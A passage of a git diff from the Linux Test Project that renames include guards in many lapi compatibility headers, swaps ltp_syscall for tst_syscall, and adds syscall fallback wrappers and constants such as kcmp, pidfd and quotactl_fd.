+#define LAPI_IPCBUF_H__
 
 #include "config.h"
 #include "lapi/posix_types.h"
@@ -192,4 +192,4 @@
 
 #endif /* HAVE_IPC64_PERM */
 
-#endif /* IPCBUF_H */
+#endif /* LAPI_IPCBUF_H__ */
diff --git a/include/lapi/kcmp.h b/include/lapi/kcmp.h
new file mode 100644
index 0000000..9fa1be8
--- /dev/null
+++ b/include/lapi/kcmp.h
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>
+ */
+
+#ifndef LAPI_KCMP_H__
+#define LAPI_KCMP_H__
+
+#include <sys/types.h>
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#ifndef HAVE_ENUM_KCMP_TYPE
+
+enum kcmp_type {
+	KCMP_FILE,
+	KCMP_VM,
+	KCMP_FILES,
+	KCMP_FS,
+	KCMP_SIGHAND,
+	KCMP_IO,
+	KCMP_SYSVSEM,
+	KCMP_TYPES,
+};
+
+#else
+
+# include <linux/kcmp.h>
+
+#endif
+
+#ifndef HAVE_KCMP
+
+static inline int kcmp(int pid1, int pid2, int type, int fd1, int fd2)
+{
+	return tst_syscall(__NR_kcmp, pid1, pid2, type, fd1, fd2);
+}
+
+#endif
+
+#endif /* LAPI_KCMP_H__ */
diff --git a/include/lapi/keyctl.h b/include/lapi/keyctl.h
index c53876e..3be7824 100644
--- a/include/lapi/keyctl.h
+++ b/include/lapi/keyctl.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef KEYCTL_H__
-#define KEYCTL_H__
+#ifndef LAPI_KEYCTL_H__
+#define LAPI_KEYCTL_H__
 
 #include "config.h"
 
@@ -140,6 +140,10 @@
 # define KEYCTL_INVALIDATE 21
 #endif
 
+#ifndef KEYCTL_WATCH_KEY
+# define KEYCTL_WATCH_KEY 32
+#endif
+
 /* key permissions */
 #ifndef KEY_POS_VIEW
 # define KEY_POS_VIEW    0x01000000
@@ -175,4 +179,4 @@
 # define KEY_OTH_ALL     0x0000003f
 #endif /* !KEY_POS_VIEW */
 
-#endif	/* KEYCTL_H__ */
+#endif	/* LAPI_KEYCTL_H__ */
diff --git a/include/lapi/loop.h b/include/lapi/loop.h
index 87a9023..c663eea 100644
--- a/include/lapi/loop.h
+++ b/include/lapi/loop.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
-#ifndef LAPI_LOOP_H
-#define LAPI_LOOP_H
+#ifndef LAPI_LOOP_H__
+#define LAPI_LOOP_H__
 
 #include "config.h"
 #include <linux/types.h>
@@ -52,4 +52,4 @@
 };
 #endif
 
-#endif
+#endif /* LAPI_LOOP_H__ */
diff --git a/include/lapi/membarrier.h b/include/lapi/membarrier.h
index 2b6c57f..eda63cd 100644
--- a/include/lapi/membarrier.h
+++ b/include/lapi/membarrier.h
@@ -4,8 +4,8 @@
  * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
  */
 
-#ifndef LAPI_MEMBARRIER_H
-#define LAPI_MEMBARRIER_H
+#ifndef LAPI_MEMBARRIER_H__
+#define LAPI_MEMBARRIER_H__
 
 /*
  * Having <linux/membarrier.h> is enough to know if the test should run or
@@ -27,4 +27,4 @@
 	MEMBARRIER_CMD_SHARED			= MEMBARRIER_CMD_GLOBAL,
 };
 
-#endif
+#endif /* LAPI_MEMBARRIER_H__ */
diff --git a/include/lapi/memfd.h b/include/lapi/memfd.h
index e38e671..57b6cd8 100644
--- a/include/lapi/memfd.h
+++ b/include/lapi/memfd.h
@@ -3,8 +3,8 @@
  * Copyright (C) 2017  Red Hat, Inc.
  */
 
-#ifndef LAPI_MEMFD_H
-#define LAPI_MEMFD_H
+#ifndef LAPI_MEMFD_H__
+#define LAPI_MEMFD_H__
 
 /* flags for memfd_create(2) (unsigned int) */
 #ifndef MFD_CLOEXEC
@@ -47,4 +47,4 @@
 #define MFD_HUGE_16GB (34 << 26)
 #endif
 
-#endif
+#endif /* LAPI_MEMFD_H__ */
diff --git a/include/lapi/mkdirat.h b/include/lapi/mkdirat.h
index ae2c728..72eb7f6 100644
--- a/include/lapi/mkdirat.h
+++ b/include/lapi/mkdirat.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef __MKDIRAT_H__
-#define __MKDIRAT_H__
+#ifndef LAPI_MKDIRAT_H__
+#define LAPI_MKDIRAT_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -13,8 +13,8 @@
 #ifndef HAVE_MKDIRAT
 static inline int mkdirat(int dirfd, const char *dirname, int mode)
 {
-	return ltp_syscall(__NR_mkdirat, dirfd, dirname, mode);
+	return tst_syscall(__NR_mkdirat, dirfd, dirname, mode);
 }
 #endif
 
-#endif /* __MKDIRAT_H__ */
+#endif /* LAPI_MKDIRAT_H__ */
diff --git a/include/lapi/mlock2.h b/include/lapi/mlock2.h
index fa2b2de..7b180ea 100644
--- a/include/lapi/mlock2.h
+++ b/include/lapi/mlock2.h
@@ -5,7 +5,7 @@
  */
 
 #ifndef LAPI_MLOCK2_H__
-# define LAPI_MLOCK2_H__
+#define LAPI_MLOCK2_H__
 
 #include <linux/mman.h>
 
diff --git a/include/lapi/mount.h b/include/lapi/mount.h
index b8ae1f5..66e1d13 100644
--- a/include/lapi/mount.h
+++ b/include/lapi/mount.h
@@ -1,33 +1,36 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2015-2022
  * Copyright (c) 2015 Cui Bixuan <cuibixuan@huawei.com>
  */
 
-#ifndef __MOUNT_H__
-#define __MOUNT_H__
+#ifndef LAPI_MOUNT_H__
+#define LAPI_MOUNT_H__
+
+#include <sys/mount.h>
 
 #ifndef MS_REC
-#define MS_REC 16384
+# define MS_REC 16384
 #endif
 
 #ifndef MS_PRIVATE
-#define MS_PRIVATE (1<<18)
+# define MS_PRIVATE (1<<18)
 #endif
 
 #ifndef MS_STRICTATIME
-#define MS_STRICTATIME (1 << 24)
+# define MS_STRICTATIME (1 << 24)
 #endif
 
 #ifndef MNT_DETACH
-#define MNT_DETACH 2
+# define MNT_DETACH 2
 #endif
 
 #ifndef MNT_EXPIRE
-#define MNT_EXPIRE 4
+# define MNT_EXPIRE 4
 #endif
 
 #ifndef UMOUNT_NOFOLLOW
-#define UMOUNT_NOFOLLOW 8
+# define UMOUNT_NOFOLLOW 8
 #endif
 
-#endif /* __MOUNT_H__ */
+#endif /* LAPI_MOUNT_H__ */
diff --git a/include/lapi/msg.h b/include/lapi/msg.h
index 0295111..ab37cda 100644
--- a/include/lapi/msg.h
+++ b/include/lapi/msg.h
@@ -3,8 +3,9 @@
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
-#ifndef LAPI_MSG_H
-#define LAPI_MSG_H
+
+#ifndef LAPI_MSG_H__
+#define LAPI_MSG_H__
 
 #include <sys/msg.h>
 
@@ -16,4 +17,4 @@
 # define MSG_STAT_ANY 13
 #endif
 
-#endif
+#endif /* LAPI_MSG_H__ */
diff --git a/include/lapi/msgbuf.h b/include/lapi/msgbuf.h
index 873902e..9736b99 100644
--- a/include/lapi/msgbuf.h
+++ b/include/lapi/msgbuf.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef IPC_MSGBUF_H
-#define IPC_MSGBUF_H
+#ifndef LAPI_MSGBUF_H__
+#define LAPI_MSGBUF_H__
 
 #include "lapi/posix_types.h"
 #include <sys/sem.h>
@@ -303,4 +303,4 @@
 
 #endif /* HAVE_MSQID64_DS */
 
-#endif /* IPC_MSGBUF_H */
+#endif /* LAPI_MSGBUF_H__ */
diff --git a/include/lapi/name_to_handle_at.h b/include/lapi/name_to_handle_at.h
index 275db4a..7c76438 100644
--- a/include/lapi/name_to_handle_at.h
+++ b/include/lapi/name_to_handle_at.h
@@ -4,15 +4,15 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef NAME_TO_HANDLE_AT_H__
-#define NAME_TO_HANDLE_AT_H__
+#ifndef LAPI_NAME_TO_HANDLE_AT_H__
+#define LAPI_NAME_TO_HANDLE_AT_H__
 
 #include <sys/syscall.h>
 #include "config.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 #include "lapi/fcntl.h"
 #include "tst_buffers.h"
-#include "tst_test.h"
 
 #ifndef HAVE_NAME_TO_HANDLE_AT
 static inline int name_to_handle_at(int dfd, const char *pathname,
@@ -34,6 +34,7 @@
 static inline struct file_handle *
 allocate_file_handle(int dfd, const char *pathname)
 {
+	long ret;
 	struct file_handle fh = {}, *fhp;
 	int mount_id;
 
@@ -41,9 +42,9 @@
 	 * Make an initial call to name_to_handle_at() to discover the size
 	 * required for the file handle.
 	 */
-	TEST(name_to_handle_at(dfd, pathname, &fh, &mount_id, 0));
-	if (TST_RET != -1 || TST_ERR != EOVERFLOW) {
-		tst_res(TFAIL | TTERRNO,
+	ret = name_to_handle_at(dfd, pathname, &fh, &mount_id, 0);
+	if (ret != -1 || errno != EOVERFLOW) {
+		tst_res(TFAIL | TERRNO,
 			"name_to_handle_at() should fail with EOVERFLOW");
 		return NULL;
 	}
@@ -56,4 +57,4 @@
 	return fhp;
 }
 
-#endif /* NAME_TO_HANDLE_AT_H__ */
+#endif /* LAPI_NAME_TO_HANDLE_AT_H__ */
diff --git a/include/lapi/namespaces_constants.h b/include/lapi/namespaces_constants.h
index 8f73c43..447f16c 100644
--- a/include/lapi/namespaces_constants.h
+++ b/include/lapi/namespaces_constants.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2015 Red Hat, Inc.
  */
 
-#ifndef __NAMESPACES_CONSTANTS_H__
-#define __NAMESPACES_CONSTANTS_H__
+#ifndef LAPI_NAMESPACES_CONSTANTS_H__
+#define LAPI_NAMESPACES_CONSTANTS_H__
 
 #ifndef CLONE_NEWIPC
 #  define CLONE_NEWIPC	0x08000000
@@ -28,4 +28,4 @@
 #  define CLONE_NEWTIME 0x00000080
 #endif
 
-#endif /* __NAMESPACES_CONSTANTS_H__ */
+#endif /* LAPI_NAMESPACES_CONSTANTS_H__ */
diff --git a/include/lapi/numaif.h b/include/lapi/numaif.h
new file mode 100644
index 0000000..4362b75
--- /dev/null
+++ b/include/lapi/numaif.h
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Linux Test Project
+ */
+
+#ifndef LAPI_NUMAIF_H__
+#define LAPI_NUMAIF_H__
+
+#ifndef MPOL_LOCAL
+# define MPOL_LOCAL	4
+#endif
+
+#endif /* LAPI_NUMAIF_H__ */
diff --git a/include/lapi/openat2.h b/include/lapi/openat2.h
index 3067f23..fa79bc9 100644
--- a/include/lapi/openat2.h
+++ b/include/lapi/openat2.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef OPENAT2_H
-#define OPENAT2_H
+#ifndef LAPI_OPENAT2_H__
+#define LAPI_OPENAT2_H__
 
 #include <sys/syscall.h>
 #include <linux/types.h>
@@ -69,12 +69,14 @@
 
 static inline void openat2_supported_by_kernel(void)
 {
+	long ret;
+
 	if ((tst_kvercmp(5, 6, 0)) < 0) {
 		/* Check if the syscall is backported on an older kernel */
-		TEST(syscall(__NR_openat2, -1, NULL, NULL, 0));
-		if (TST_RET == -1 && TST_ERR == ENOSYS)
+		ret = syscall(__NR_openat2, -1, NULL, NULL, 0);
+		if (ret == -1 && errno == ENOSYS)
 			tst_brk(TCONF, "Test not supported on kernel version < v5.6");
 	}
 }
 
-#endif /* OPENAT2_H */
+#endif /* LAPI_OPENAT2_H__ */
diff --git a/include/lapi/personality.h b/include/lapi/personality.h
index 6b4b7eb..2cbb5dc 100644
--- a/include/lapi/personality.h
+++ b/include/lapi/personality.h
@@ -7,8 +7,8 @@
  * but in musl macros are used.
  */
 
-#ifndef PERSONALITY_H
-#define PERSONALITY_H
+#ifndef LAPI_PERSONALITY_H__
+#define LAPI_PERSONALITY_H__
 
 #include <sys/personality.h>
 
@@ -20,4 +20,4 @@
 # define READ_IMPLIES_EXEC 0x0400000
 #endif
 
-#endif	/* PERSONALITY_H */
+#endif	/* LAPI_PERSONALITY_H__ */
diff --git a/include/lapi/pidfd.h b/include/lapi/pidfd.h
new file mode 100644
index 0000000..9ca8e5a
--- /dev/null
+++ b/include/lapi/pidfd.h
@@ -0,0 +1,61 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+#ifndef LAPI_PIDFD_H__
+#define LAPI_PIDFD_H__
+
+#include <fcntl.h>
+#ifdef HAVE_SYS_PIDFD_H
+# include <sys/pidfd.h>
+#endif
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#ifndef PIDFD_NONBLOCK
+#define PIDFD_NONBLOCK O_NONBLOCK
+#endif
+
+static inline void pidfd_send_signal_supported(void)
+{
+	/* allow the tests to fail early */
+	tst_syscall(__NR_pidfd_send_signal);
+}
+
+#ifndef HAVE_PIDFD_SEND_SIGNAL
+static inline int pidfd_send_signal(int pidfd, int sig, siginfo_t *info,
+				    unsigned int flags)
+{
+	return tst_syscall(__NR_pidfd_send_signal, pidfd, sig, info, flags);
+}
+#endif
+
+static inline void pidfd_open_supported(void)
+{
+	/* allow the tests to fail early */
+	tst_syscall(__NR_pidfd_open);
+}
+
+#ifndef HAVE_PIDFD_OPEN
+static inline int pidfd_open(pid_t pid, unsigned int flags)
+{
+	return tst_syscall(__NR_pidfd_open, pid, flags);
+}
+#endif
+
+static inline void pidfd_getfd_supported(void)
+{
+	/* allow the tests to fail early */
+	tst_syscall(__NR_pidfd_getfd);
+}
+
+#ifndef HAVE_PIDFD_GETFD
+static inline int pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
+{
+	return tst_syscall(__NR_pidfd_getfd, pidfd, targetfd, flags);
+}
+#endif
+
+#endif /* LAPI_PIDFD_H__ */
diff --git a/include/lapi/pidfd_open.h b/include/lapi/pidfd_open.h
deleted file mode 100644
index 2b0c5b0..0000000
--- a/include/lapi/pidfd_open.h
+++ /dev/null
@@ -1,24 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2020 Linaro Limited. All rights reserved.
- * Author: Viresh Kumar <viresh.kumar@linaro.org>
- */
-
-#ifndef PIDFD_OPEN_H
-#define PIDFD_OPEN_H
-
-#include <sys/syscall.h>
-#include <sys/types.h>
-
-#include "lapi/syscalls.h"
-
-#include "config.h"
-
-#ifndef HAVE_PIDFD_OPEN
-static inline int pidfd_open(pid_t pid, unsigned int flags)
-{
-	return tst_syscall(__NR_pidfd_open, pid, flags);
-}
-#endif
-
-#endif /* PIDFD_OPEN_H */
diff --git a/include/lapi/pidfd_send_signal.h b/include/lapi/pidfd_send_signal.h
deleted file mode 100644
index 512174d..0000000
--- a/include/lapi/pidfd_send_signal.h
+++ /dev/null
@@ -1,27 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) 2019 SUSE LLC
- * Author: Christian Amann <camann@suse.com>
- */
-
-#ifndef PIDFD_SEND_SIGNAL_H
-#define PIDFD_SEND_SIGNAL_H
-
-#include "tst_test.h"
-#include "lapi/syscalls.h"
-
-static inline void pidfd_send_signal_supported(void)
-{
-	/* allow the tests to fail early */
-	tst_syscall(__NR_pidfd_send_signal);
-}
-
-#ifndef HAVE_PIDFD_SEND_SIGNAL
-static inline int pidfd_send_signal(int pidfd, int sig, siginfo_t *info,
-                                    unsigned int flags)
-{
-	return tst_syscall(__NR_pidfd_send_signal, pidfd, sig, info, flags);
-}
-#endif /* HAVE_PIDFD_SEND_SIGNAL */
-
-#endif /* PIDFD_SEND_SIGNAL_H */
diff --git a/include/lapi/posix_clocks.h b/include/lapi/posix_clocks.h
index ae2139f..d16f182 100644
--- a/include/lapi/posix_clocks.h
+++ b/include/lapi/posix_clocks.h
@@ -6,8 +6,8 @@
 
 #include <time.h>
 
-#ifndef POSIX_CLOCKS_H__
-#define POSIX_CLOCKS_H__
+#ifndef LAPI_POSIX_CLOCKS_H__
+#define LAPI_POSIX_CLOCKS_H__
 
 #define MAX_CLOCKS 16
 
@@ -39,4 +39,4 @@
 #define CLOCK_TAI 11
 #endif
 
-#endif /* POSIX_CLOCKS_H__ */
+#endif /* LAPI_POSIX_CLOCKS_H__ */
diff --git a/include/lapi/posix_types.h b/include/lapi/posix_types.h
index 9c0947c..44f6697 100644
--- a/include/lapi/posix_types.h
+++ b/include/lapi/posix_types.h
@@ -3,8 +3,8 @@
  * Copyright (c) Linux Test Project, 2014-2019
  */
 
-#ifndef POSIX_TYPES_H__
-#define POSIX_TYPES_H__
+#ifndef LAPI_POSIX_TYPES_H__
+#define LAPI_POSIX_TYPES_H__
 
 #include <linux/posix_types.h>
 
@@ -18,4 +18,4 @@
 # endif
 #endif
 
-#endif /* POSIX_TYPES_H__ */
+#endif /* LAPI_POSIX_TYPES_H__ */
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 4499df0..fa59222 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -5,7 +5,7 @@
  */
 
 #ifndef LAPI_PRCTL_H__
-# define LAPI_PRCTL_H__
+#define LAPI_PRCTL_H__
 
 #include <sys/prctl.h>
 
diff --git a/include/lapi/preadv2.h b/include/lapi/preadv2.h
index 19ac589..db89547 100644
--- a/include/lapi/preadv2.h
+++ b/include/lapi/preadv2.h
@@ -4,8 +4,8 @@
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-#ifndef PREADV2_H
-#define PREADV2_H
+#ifndef LAPI_PREADV2_H__
+#define LAPI_PREADV2_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -27,4 +27,4 @@
 }
 #endif
 
-#endif /* PREADV2_H */
+#endif /* LAPI_PREADV2_H__ */
diff --git a/include/lapi/pwritev2.h b/include/lapi/pwritev2.h
index a93f017..48b53f4 100644
--- a/include/lapi/pwritev2.h
+++ b/include/lapi/pwritev2.h
@@ -4,8 +4,8 @@
  * Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
  */
 
-#ifndef PWRITEV2_H
-#define PWRITEV2_H
+#ifndef LAPI_PWRITEV2_H__
+#define LAPI_PWRITEV2_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -23,4 +23,4 @@
 }
 #endif
 
-#endif /* PWRITEV2_H */
+#endif /* LAPI_PWRITEV2_H__ */
diff --git a/include/lapi/quotactl.h b/include/lapi/quotactl.h
index c1ec9d6..739a856 100644
--- a/include/lapi/quotactl.h
+++ b/include/lapi/quotactl.h
@@ -1,14 +1,23 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2017-2019 Fujitsu Ltd.
+ * Copyright (c) 2017-2021 FUJITSU LIMITED. All rights reserved
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
- * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
  */
 
 #ifndef LAPI_QUOTACTL_H__
 #define LAPI_QUOTACTL_H__
 
+#include "config.h"
 #include <sys/quota.h>
+#include "lapi/syscalls.h"
+
+#ifndef HAVE_QUOTACTL_FD
+static inline int quotactl_fd(int fd, int cmd, int id, caddr_t addr)
+{
+	return tst_syscall(__NR_quotactl_fd, fd, cmd, id, addr);
+}
+#endif
 
 #ifdef HAVE_STRUCT_IF_NEXTDQBLK
 # include <linux/quota.h>
@@ -75,4 +84,12 @@
 # define Q_GETNEXTQUOTA 0x800009 /* get disk limits and usage >= ID */
 #endif
 
+#ifndef QFMT_VFS_V0
+# define QFMT_VFS_V0 2
+#endif
+
+#ifndef QFMT_VFS_V1
+# define QFMT_VFS_V1 4
+#endif
+
 #endif /* LAPI_QUOTACTL_H__ */
diff --git a/include/lapi/readdir.h b/include/lapi/readdir.h
index 84e77ae..ec82604 100644
--- a/include/lapi/readdir.h
+++ b/include/lapi/readdir.h
@@ -4,8 +4,8 @@
  * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
  */
 
-#ifndef READDIR_H
-#define READDIR_H
+#ifndef LAPI_READDIR_H__
+#define LAPI_READDIR_H__
 
 #include <limits.h>
 
@@ -16,4 +16,4 @@
 	char  d_name[NAME_MAX+1];	/* filename (null-terminated) */
 };
 
-#endif /* READDIR_H */
+#endif /* LAPI_READDIR_H__ */
diff --git a/include/lapi/readlinkat.h b/include/lapi/readlinkat.h
index 4205d00..a680dee 100644
--- a/include/lapi/readlinkat.h
+++ b/include/lapi/readlinkat.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef __READLINKAT_H__
-#define __READLINKAT_H__
+#ifndef LAPI_READLINKAT_H__
+#define LAPI_READLINKAT_H__
 
 #include "config.h"
 #include "lapi/syscalls.h"
@@ -14,8 +14,8 @@
 static inline int readlinkat(int dirfd, const char *pathname,
                              char *buf, size_t bufsiz)
 {
-	return ltp_syscall(__NR_readlinkat, dirfd, pathname, buf, bufsiz);
+	return tst_syscall(__NR_readlinkat, dirfd, pathname, buf, bufsiz);
 }
 #endif
 
-#endif /* __READLINKAT_H__ */
+#endif /* LAPI_READLINKAT_H__ */
diff --git a/include/lapi/renameat.h b/include/lapi/renameat.h
index c92b30a..abf4c1d 100644
--- a/include/lapi/renameat.h
+++ b/include/lapi/renameat.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Fujitsu Ltd.
  */
 
-#ifndef RENAMEAT_H
-#define RENAMEAT_H
+#ifndef LAPI_RENAMEAT_H__
+#define LAPI_RENAMEAT_H__
 
 #include <sys/types.h>
 #include "config.h"
@@ -15,9 +15,9 @@
 static inline int renameat(int olddirfd, const char *oldpath, int newdirfd,
                            const char *newpath)
 {
-	return ltp_syscall(__NR_renameat, olddirfd, oldpath, newdirfd,
+	return tst_syscall(__NR_renameat, olddirfd, oldpath, newdirfd,
 					newpath);
 }
 #endif
 
-#endif /* RENAMEAT_H */
+#endif /* LAPI_RENAMEAT_H__ */
diff --git a/include/lapi/rt_sigaction.h b/include/lapi/rt_sigaction.h
index 3af9136..a42b690 100644
--- a/include/lapi/rt_sigaction.h
+++ b/include/lapi/rt_sigaction.h
@@ -6,8 +6,8 @@
  * Author: Ngie Cooper <yaneurabeya@gmail.com>
  */
 
-#ifndef LTP_RT_SIGACTION_H
-#define LTP_RT_SIGACTION_H
+#ifndef LAPI_RT_SIGACTION_H__
+#define LAPI_RT_SIGACTION_H__
 
 #include "ltp_signal.h"
 
@@ -157,12 +157,6 @@
 }
 #endif
 
-#ifdef TST_TEST_H__
-# define TST_SYSCALL tst_syscall
-#else
-# define TST_SYSCALL ltp_syscall
-#endif
-
 /* This is a wrapper for __NR_rt_sigaction syscall.
  * act/oact values of INVAL_SA_PTR is used to pass
  * an invalid pointer to syscall(__NR_rt_sigaction)
@@ -218,11 +212,11 @@
 
 
 #ifdef __sparc__
-	ret = TST_SYSCALL(__NR_rt_sigaction, signum,
+	ret = tst_syscall(__NR_rt_sigaction, signum,
 			kact_p, koact_p,
 			stub, sigsetsize);
 #else
-	ret = TST_SYSCALL(__NR_rt_sigaction, signum,
+	ret = tst_syscall(__NR_rt_sigaction, signum,
 			kact_p, koact_p,
 			sigsetsize);
 #endif
@@ -242,4 +236,4 @@
 	return ret;
 }
 
-#endif /* LTP_RT_SIGACTION_H */
+#endif /* LAPI_RT_SIGACTION_H__ */
diff --git a/include/lapi/rtnetlink.h b/include/lapi/rtnetlink.h
index 8a1b538..089bf1a 100644
--- a/include/lapi/rtnetlink.h
+++ b/include/lapi/rtnetlink.h
@@ -1,13 +1,10 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /* Copyright (c) 2021 Petr Vorel <petr.vorel@gmail.com> */
 
-#ifndef LAPI_IF_ADDR_H__
-# define LAPI_IF_ADDR_H__
+#ifndef LAPI_RTNETLINK_H__
+# define LAPI_RTNETLINK_H__
 
 #include <linux/rtnetlink.h>
+#include "lapi/if_addr.h"
 
-#ifndef IFA_FLAGS
-# define IFA_FLAGS 8
-#endif
-
-#endif	/* LAPI_IF_ADDR_H__ */
+#endif	/* LAPI_RTNETLINK_H__ */
diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index ee38c3a..226d310 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -1,14 +1,16 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2015 Cui Bixuan <cuibixuan@huawei.com>
+ * Copyright (c) Linux Test Project, 2016-2022
  */
 
-#ifndef __SCHED_H__
-#define __SCHED_H__
+#ifndef LAPI_SCHED_H__
+#define LAPI_SCHED_H__
 
-#include "lapi/syscalls.h"
+#include <sched.h>
 #include <stdint.h>
 #include <inttypes.h>
+#include "lapi/syscalls.h"
 
 struct sched_attr {
 	uint32_t size;
@@ -40,20 +42,24 @@
 	return syscall(__NR_sched_getattr, pid, attr, size, flags);
 }
 
+#ifndef SCHED_DEADLINE
+# define SCHED_DEADLINE	6
+#endif
+
 #ifndef CLONE_VM
-#define CLONE_VM   0x00000100
+# define CLONE_VM   0x00000100
 #endif
 
 #ifndef CLONE_FS
-#define CLONE_FS   0x00000200
+# define CLONE_FS   0x00000200
 #endif
 
 #ifndef CLONE_SYSVSEM
-#define CLONE_SYSVSEM   0x00040000
+# define CLONE_SYSVSEM   0x00040000
 #endif
 
 #ifndef CLONE_IO
-#define CLONE_IO        0x80000000
+# define CLONE_IO        0x80000000
 #endif
 
-#endif /* __SCHED_H__ */
+#endif /* LAPI_SCHED_H__ */
diff --git a/include/lapi/seccomp.h b/include/lapi/seccomp.h
index fe95cab..29819ba 100644
--- a/include/lapi/seccomp.h
+++ b/include/lapi/seccomp.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
-#ifndef LAPI_SECCOMP_H
-#define LAPI_SECCOMP_H
+#ifndef LAPI_SECCOMP_H__
+#define LAPI_SECCOMP_H__
 
 #include <stdint.h>
 
@@ -37,4 +37,4 @@
 };
 
 #endif /* HAVE_LINUX_SECCOMP_H*/
-#endif /* LAPI_SECCOMP_H */
+#endif /* LAPI_SECCOMP_H__ */
diff --git a/include/lapi/securebits.h b/include/lapi/securebits.h
index 2da137c..1b4d003 100644
--- a/include/lapi/securebits.h
+++ b/include/lapi/securebits.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
-#ifndef LAPI_SECUREBITS_H
-#define LAPI_SECUREBITS_H
+#ifndef LAPI_SECUREBITS_H__
+#define LAPI_SECUREBITS_H__
 
 # ifdef HAVE_LINUX_SECUREBITS_H
 #  include <linux/securebits.h>
@@ -14,4 +14,4 @@
 #  define SECBIT_NO_CAP_AMBIENT_RAISE  6
 # endif
 
-#endif /* LAPI_SECUREBITS_H */
+#endif /* LAPI_SECUREBITS_H__ */
diff --git a/include/lapi/seek.h b/include/lapi/seek.h
index 1a29ba4..7062ee8 100644
--- a/include/lapi/seek.h
+++ b/include/lapi/seek.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef SEEK_H__
-#define SEEK_H__
+#ifndef LAPI_SEEK_H__
+#define LAPI_SEEK_H__
 
 #include <unistd.h>
 
@@ -16,4 +16,4 @@
 # define SEEK_HOLE 4
 #endif
 
-#endif /* SEEK_H__ */
+#endif /* LAPI_SEEK_H__ */
diff --git a/include/lapi/sem.h b/include/lapi/sem.h
index d3ee027..3dead20 100644
--- a/include/lapi/sem.h
+++ b/include/lapi/sem.h
@@ -2,8 +2,8 @@
 /*
  * Copyright (c) 2015 Linux Test Project
  */
-#ifndef LAPI_SEM_H
-#define LAPI_SEM_H
+#ifndef LAPI_SEM_H__
+#define LAPI_SEM_H__
 
 #include <sys/sem.h>
 
@@ -24,4 +24,4 @@
 # define SEM_STAT_ANY 20
 #endif
 
-#endif /* LAPI_SEM_H */
+#endif /* LAPI_SEM_H__ */
diff --git a/include/lapi/sembuf.h b/include/lapi/sembuf.h
index 94ad005..3b0f240 100644
--- a/include/lapi/sembuf.h
+++ b/include/lapi/sembuf.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef IPC_SEMBUF_H
-#define IPC_SEMBUF_H
+#ifndef LAPI_SEMBUF_H__
+#define LAPI_SEMBUF_H__
 
 #include "lapi/posix_types.h"
 #include <sys/sem.h>
@@ -231,4 +231,4 @@
 
 #endif /* HAVE_SEMID64_DS */
 
-#endif /* IPC_SEMBUF_H */
+#endif /* LAPI_SEMBUF_H__ */
diff --git a/include/lapi/shm.h b/include/lapi/shm.h
index 61c4e37..bb280fc 100644
--- a/include/lapi/shm.h
+++ b/include/lapi/shm.h
@@ -6,8 +6,22 @@
 #ifndef LAPI_SHM_H__
 #define LAPI_SHM_H__
 
+#include <limits.h>
+
 #ifndef SHM_STAT_ANY
 # define SHM_STAT_ANY 15
 #endif
 
+#ifndef SHMMIN
+# define SHMMIN 1
+#endif
+
